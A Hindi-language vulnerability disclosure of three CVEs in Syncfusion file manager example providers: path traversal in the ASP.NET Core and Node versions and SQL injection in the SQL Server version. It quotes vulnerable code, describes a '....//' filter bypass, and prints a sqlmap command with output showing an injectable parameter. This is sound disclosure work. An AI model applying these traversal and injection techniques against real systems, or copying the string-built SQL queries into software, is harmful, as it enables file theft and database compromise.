
तीन CVE (2023-26563-26565) का तकनीकी खुलासा जो स्थानीय फ़ाइल पढ़ने, निर्देशिका ट्रैवर्सल, और SQL इंजेक्शन कमजोरियों का विवरण देता है, Syncfusion फ़ाइल प्रबंधक प्रदाताओं में प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट कोड के साथ।
विक्रेता ने कथित तौर पर 2024 के बाद जारी किए गए संस्करणों में सूचीबद्ध सभी कमजोरियों को ठीक कर दिया है। Ruptura InfoSecurity ने यह सत्यापित नहीं किया है कि ये सुधार पूर्ण हैं।
विक्रेता की टिप्पणियाँ देखें: https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
प्रभावित रिपॉजिटरी: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Git कमिट 7c8791084ff86d4a2c225756c490591f6e011a6c से पहले के असुरक्षित संस्करण
एप्लिकेशन उपयोगकर्ता द्वारा प्रदान किए गए किसी भी पथ को सत्यापित करने में विफल रहता है। परिणामस्वरूप, किसी भी निर्देशिका में फ़ाइलों को सूचीबद्ध करने, किसी भी स्थानीय फ़ाइल को पढ़ने, सर्वर पर कहीं भी कोई फ़ाइल अपलोड करने और सर्वर पर किसी भी फ़ाइल को हटाने के लिए निर्देशिका ट्रैवर्सल अनुक्रम ("../") निर्दिष्ट करना संभव है।
ASP कोर रिपॉजिटरी में, अधिकांश वास्तविक कार्यक्षमता Models/PhysicalFileProvider.cs में लागू की गई है।
डाउनलोड करने के मामले में, names पैरामीटर सीधे उपयोगकर्ता के अनुरोध से लिया जाता है।
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
इस पथ का उपयोग सीधे Path.combine फ़ंक्शन के भीतर किया जाता है।
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
अधिकांश एंडपॉइंट्स में, उन्होंने ../ को हटाकर इसे ठीक करने का प्रयास किया, लेकिन ....// जैसी चीज़ का उपयोग करके इसे आसानी से बायपास किया जा सकता है, जो .replace("../", "") के बाद मूल ../ में परिणत होता है।
प्रभावित रिपॉजिटरी: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Git कमिट 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6 से पहले के असुरक्षित संस्करण
जबकि एप्लिकेशन में निर्देशिका ट्रैवर्सल अनुक्रमों को अवरुद्ध करने के लिए एक regex है, यह केवल कभी-कभी ऐसा करता है। परिणामस्वरूप:
नोड रिपॉजिटरी में, सभी कार्यक्षमता एक ही फ़ाइल में प्रदान की गई है: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
फ़ाइलें डाउनलोड करने के लिए, मूल कारण काफी स्पष्ट है, एप्लिकेशन फ़ाइल पथों को एक साथ जोड़ते समय उपयोगकर्ता के इनपुट पर भरोसा करता है:
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
प्रभावित रिपॉजिटरी: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Git कमिट d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6 से पहले के असुरक्षित संस्करण
SQL सर्वर रिपॉजिटरी में, अधिकांश वास्तविक कार्यक्षमता Models/SQLFileProvider.cs में लागू की गई है।
SQL इंजेक्शन प्रभावित रिपॉजिटरी के भीतर काफी मानक और लगातार है और इसे एक साधारण sqlmap कमांड से शोषित किया जा सकता है:
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:31:52 /2023-04-03/
[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
असुरक्षित कोड स्निपेट के उदाहरण:
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
SQL इंजेक्शन के परिणामस्वरूप उपयोगकर्ता खाते के लिए कॉन्फ़िगर की गई अनुमतियों के अनुसार डेटाबेस तक पूर्ण पढ़ने की पहुँच प्राप्त होती है।